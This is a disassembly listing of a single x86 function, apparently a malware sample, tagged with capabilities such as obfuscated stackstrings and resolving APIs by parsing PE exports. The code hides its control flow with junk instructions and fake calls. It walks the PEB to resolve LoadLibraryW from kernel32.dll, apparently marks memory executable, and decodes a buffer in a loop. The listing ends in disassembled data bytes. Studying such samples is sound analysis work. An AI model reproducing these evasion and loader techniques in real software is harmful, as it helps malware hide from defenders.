Function at 0x40ab2a
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push esi
sub esi, 0x14228
and esi, 0x15fba
pop esi
push esi
call 0x40a949
add byte [esp + esi], bh
inc ebp
xor al, 0x37
inc ecx
inc ebx
aaa
add esp, 4
xor esi, 0xfe7d
or esi, 0x16fe4
jmp 0x40a95d
pop esi
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push ebx
push edi
add esp, 4
xor ebx, 0xce7b
pop ebx
push edi
push ebx
add esp, 4
or edi, 0xdf2f
and edi, 0x754f
xor edi, 0x2532
xor edi, 0x65c
pop edi
push edi
add edi, 0x13a26
pop edi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x40aa04
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x40aa5e
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x40a92c
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x40a92c
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x40aa48
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x40aa52
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x40aaa7
push edx
push esi
add esp, 4
sub edx, 0x17c03
pop edx
push edi
or edi, 0x29a0
and edi, 0x81bc
sub edi, 0xb410
pop edi
push ecx
push edx
add esp, 4
sub ecx, 0xca7c
and ecx, 0x761
pop ecx
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x40ab0f
push edi
add edi, 0x3621
pop edi
push edi
push eax
add esp, 4
xor edi, 0xc27d
xor edi, 0x93e8
push eax
push edx
add esp, 4
jmp 0x40ab1d
call 0x40ab2a
add byte [edx + 0x43], al
inc ecx
aaa
cmp al, 0x4b
dec esi
add esp, 4
and eax, 0x1840
pop eax
push ecx
add ecx, 0x1408b
jmp 0x40ab40
pop ecx
cmp dword [ebp - 0x2a8], 0
jne 0x40b446
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push eax
or eax, 0x17a77
xor eax, 0x14f42
pop eax
push ecx
push ecx
add esp, 4
or ecx, 0x16dc4
xor ecx, 0x142b3
and ecx, 0xa055
pop ecx
push ebx
push ebx
add esp, 4
xor ebx, 0x6802
pop ebx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push ecx
push edx
add esp, 4
and ecx, 0x17570
jmp 0x40acad
add ecx, 0x6bbb
and ecx, 0x5d4d
pop ecx
push edi
push ebx
add esp, 4
xor edi, 0xcf6e
pop edi
push esi
xor esi, 0x8caa
pop esi
cmp dword [ebp - 0x1518], 0
jne 0x40ace6
mov dword [ebp - 0x710], 0
jmp 0x40af8d
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push edx
push ebx
add esp, 4
call 0x40ad09
add byte [ecx], bh
cmp dword [eax + 0x3f], ecx
aas
xor al, 0x83
les eax, [eax + ebp*8]
or dword [eax], eax
add byte [eax], al
add byte [edx + 0x4f], cl
dec ebx
inc esi
cmp dh, byte [edx]
cmp eax, 0x8104c483
retf 0x9aba
push eax
add eax, 0x16213
call 0x40afa4
add byte [0x4a455036], bh
dec ebx
dec eax
inc edx
inc esp
add esp, 4
pop eax
push edx
xor edx, 0x159a0
pop edx
push ecx
xor ecx, 0x1221b
jmp 0x40afbe
pop ecx
cmp dword [ebp - 0x710], 0
jne 0x40b009
push esi
sub esi, 0xe05b
call 0x40afdd
add byte [ebx], dh
inc ebx
dec edi
cmp eax, 0x4b42473f
add esp, 4
add esi, 0x15601
sub esi, 0xed52
pop esi
push esi
push ecx
add esp, 4
jmp 0x40aff9
pop esi
mov dword [ebp - 0xa58], 0
jmp 0x40bb31
push esi
and esi, 0x3508
or esi, 0x17e3
pop esi
push esi
push ebx
add esp, 4
add esi, 0x15ca
call 0x40b031
add byte [ebx], bh
dec edi
dec ebx
cmp dword [ebx + 0x4b], eax
cmp eax, 0xc4834349
add al, 0x81
into
pop edx
aas
add byte [eax], al
pop esi
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x40b07a
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x40b36b
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x40b0a2
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x40b36b
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x40b0d4
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x40b36b
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x40b0f9
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x40b36b
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x40b153
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x40b35f
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x40b1c3
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x40b275
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x40b275
push edx
push edi
add esp, 4
xor edx, 0xcf1b
and edx, 0x15120
add edx, 0x8cc
jmp 0x40b20d
pop edx
push eax
push edi
add esp, 4
jmp 0x40b21b
and eax, 0x11244
pop eax
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x40b267
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x40b26e
jmp 0x40b1b4
jmp 0x40b275
push ecx
and ecx, 0x11ec3
pop ecx
push edx
jmp 0x40b286
sub edx, 0x120f
add edx, 0x523b
and edx, 0x12e5c
pop edx
push eax
sub eax, 0xd062
add eax, 0x3496
pop eax
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x40b2d4
mov dword [ebp - 0xc5c], 0
jmp 0x40b343
push esi
push edx
add esp, 4
add esi, 0x17ca
sub esi, 0x68e5
pop esi
push esi
push edx
add esp, 4
sub esi, 0xf269
add esi, 0x8a4
and esi, 0x9622
pop esi
push ebx
sub ebx, 0x158e0
pop ebx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x40b339
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x40b343
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x40b35a
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x40b36b
jmp 0x40b144
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x40b446
push edi
or edi, 0x17777
and edi, 0x15240
jmp 0x40b38b
jmp 0x40b391
pop edi
push edx
push ebx
add esp, 4
add edx, 0x41aa
and edx, 0xcbf9
jmp 0x40b3a9
pop edx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push edi
push edi
add esp, 4
add edi, 0x142c6
xor edi, 0x2f5e
pop edi
push edi
and edi, 0x72ae
pop edi
push ebx
call 0x40b3de
add byte [edi], dh
dec edi
aas
aas
dec edi
aas
add esp, 4
or ebx, 0xf6a1
pop ebx
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x40b446
push edx
or edx, 0x157d0
or edx, 0x65d5
sub edx, 0x1cc2
sub edx, 0x3b2d
pop edx
push esi
push ecx
add esp, 4
or esi, 0x10e41
and esi, 0x8164
add esi, 0x65f7
pop esi
mov dword [ebp - 0xa58], 0
jmp 0x40bb31
push ebx
push eax
add esp, 4
sub ebx, 0x5f2b
and ebx, 0xbb1a
jmp 0x40b45f
xor ebx, 0xe306
pop ebx
push ecx
push ecx
add esp, 4
xor ecx, 0x173aa
add ecx, 0x133ae
pop ecx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push ecx
xor ecx, 0x3a08
sub ecx, 0x17fdc
and ecx, 0x11963
sub ecx, 0xfbf5
pop ecx
push ebx
push edi
add esp, 4
sub ebx, 0x103bb
xor ebx, 0x152da
xor ebx, 0xd03c
pop ebx
cmp dword [ebp - 0x1574], 0
jne 0x40b4ea
mov dword [ebp - 0x2a8], 0
jmp 0x40b791
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push esi
push ebx
add esp, 4
call 0x40b510
add byte [edi], bh
dec edi
inc edi
dec esp
dec esi
aas
cmp al, byte [ebx - 0x117efb3c]
adc al, 0x26
add dword [eax], eax
and esi, 0x77f8
pop esi
push edx
or edx, 0x1658a
sub edx, 0x471c
pop edx
cmp dword [ebp - 0xc68], 0
jne 0x40b546
mov dword [ebp - 0x2a8], 0
jmp 0x40b791
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push edx
push esi
add esp, 4
or edx, 0xb625
jmp 0x40b564
pop edx
push ecx
jmp 0x40b56d
or ecx, 0x184cf
sub ecx, 0x1806a
pop ecx
push edi
jmp 0x40b583
pop edi
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push edi
sub edi, 0x16187
and edi, 0x4c9f
sub edi, 0x85d4
xor edi, 0x128
pop edi
push edi
push esi
add esp, 4
or edi, 0x1764d
sub edi, 0x119f2
xor edi, 0x298b
pop edi
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push ebx
push esi
add esp, 4
xor ebx, 0x98d4
call 0x40b650
add byte [ecx + 0x41], al
inc esp
cmp esi, dword [edx + edi]
dec esi
xor eax, dword [ebx + 0x525b04c4]
jmp 0x40b65a
or edx, 0x3dd1
pop edx
push edx
jmp 0x40b668
pop edx
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x40b686
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x40b6e0
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x40b5ae
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x40b5ae
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x40b6ca
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x40b6d4
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x40b729
push ecx
push ecx
add esp, 4
or ecx, 0x6f26
or ecx, 0xded3
xor ecx, 0x29d1
pop ecx
push edi
or edi, 0xdbba
sub edi, 0xcaeb
jmp 0x40b714
add edi, 0x75cb
pop edi
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x40b791
push edx
push eax
add esp, 4
add edx, 0x2fd8
call 0x40b743
add byte [ecx + 0x42], cl
cmp eax, 0x45494738
cmp dword [ebx + eax*4 - 0x3c], ecx
add al, 0x81
ret 0x63e5
push edi
and edi, 0xfd8e
call 0x40b7a7
add byte [ebx], bh
cmp al, 0x41
xor dh, byte [edi + esi]
xor eax, dword [ebx - 0x107efb3c]
mov byte [0x810000b8], al
iretd
push edi
or edi, 0xb509
jmp 0x40bb3e
pop edi
push esi
push edi
add esp, 4
or esi, 0xa510
pop esi
push ebx
push edx
add esp, 4
xor ebx, 0x3309
sub ebx, 0x134dd
add ebx, 0x2f3a
pop ebx
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x40bbd6
push ecx
push esi
add esp, 4
xor ecx, 0x1422f
or ecx, 0x4cb8
call 0x40bbb0
add byte [esi], bh
inc esi
cmp ecx, dword [esi + 0x3b]
cmp byte ds:[esi + ecx*2 - 0x7d], cl
les eax, [ecx + eax*4]
int1
xor al, 0x3a
add byte [eax], al
pop ecx
push eax
add eax, 0x1cb6
pop eax
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x40bbf3
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x40bc4f
push esi
push eax
add esp, 4
xor esi, 0xc644
call 0x40bc1b
add byte [eax + 0x3a], dl
xor esi, dword ss:[ebx]
aaa
cmp cl, byte [edx + 0x42]
add esp, 4
pop esi
push eax
or eax, 0x8f3
sub eax, 0x65fc
and eax, 0xe2b6
pop eax
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x40bbe4
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x40bcc7
push eax
push edx
add esp, 4
or eax, 0x11783
sub eax, 0x2acf
pop eax
push edx
call 0x40bca3
add byte [eax + 0x37], dl
xor eax, 0x393b5046
inc ebx
xor al, 0x83
les eax, [ecx + eax*4]
retf 0x5e1
push edi
push esi
add esp, 4
jmp 0x40bcd2
pop edi
push edx
push edi
add esp, 4
xor edx, 0x126aa
xor edx, 0x1214a
add edx, 0xb3ee
pop edx
push ecx
or ecx, 0x4b10
or ecx, 0x16643
pop ecx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff04ff
pop ecx
pop edx
test edx, edi
and al, 0x64
add eax, 0x450aef04
dec ecx
push esp
inc ecx
cmp eax, dword [edi - 0x7b]
cli
cmp dword es:[0x54556204], eax
xchg eax, ecx
or byte [ebp + 0x4e0b6f5], al
add al, 0x5d
push esi
test esi, esi
or cl, byte [edx + 0xaef0405]
inc ebx
push eax
cmp edi, dword [0x6fbe5e49]
add al, 4
add al, 0x6a
lea ebx, [ecx + 0x303edc0]
mov esp, 0x4040469
push 0xffffffffffffff8d
mov edx, eax
in eax, dx
add eax, dword [ebx]
mov ebp, 0x4040476
push 0xffffffffffffff8d
xchg ecx, eax
invalid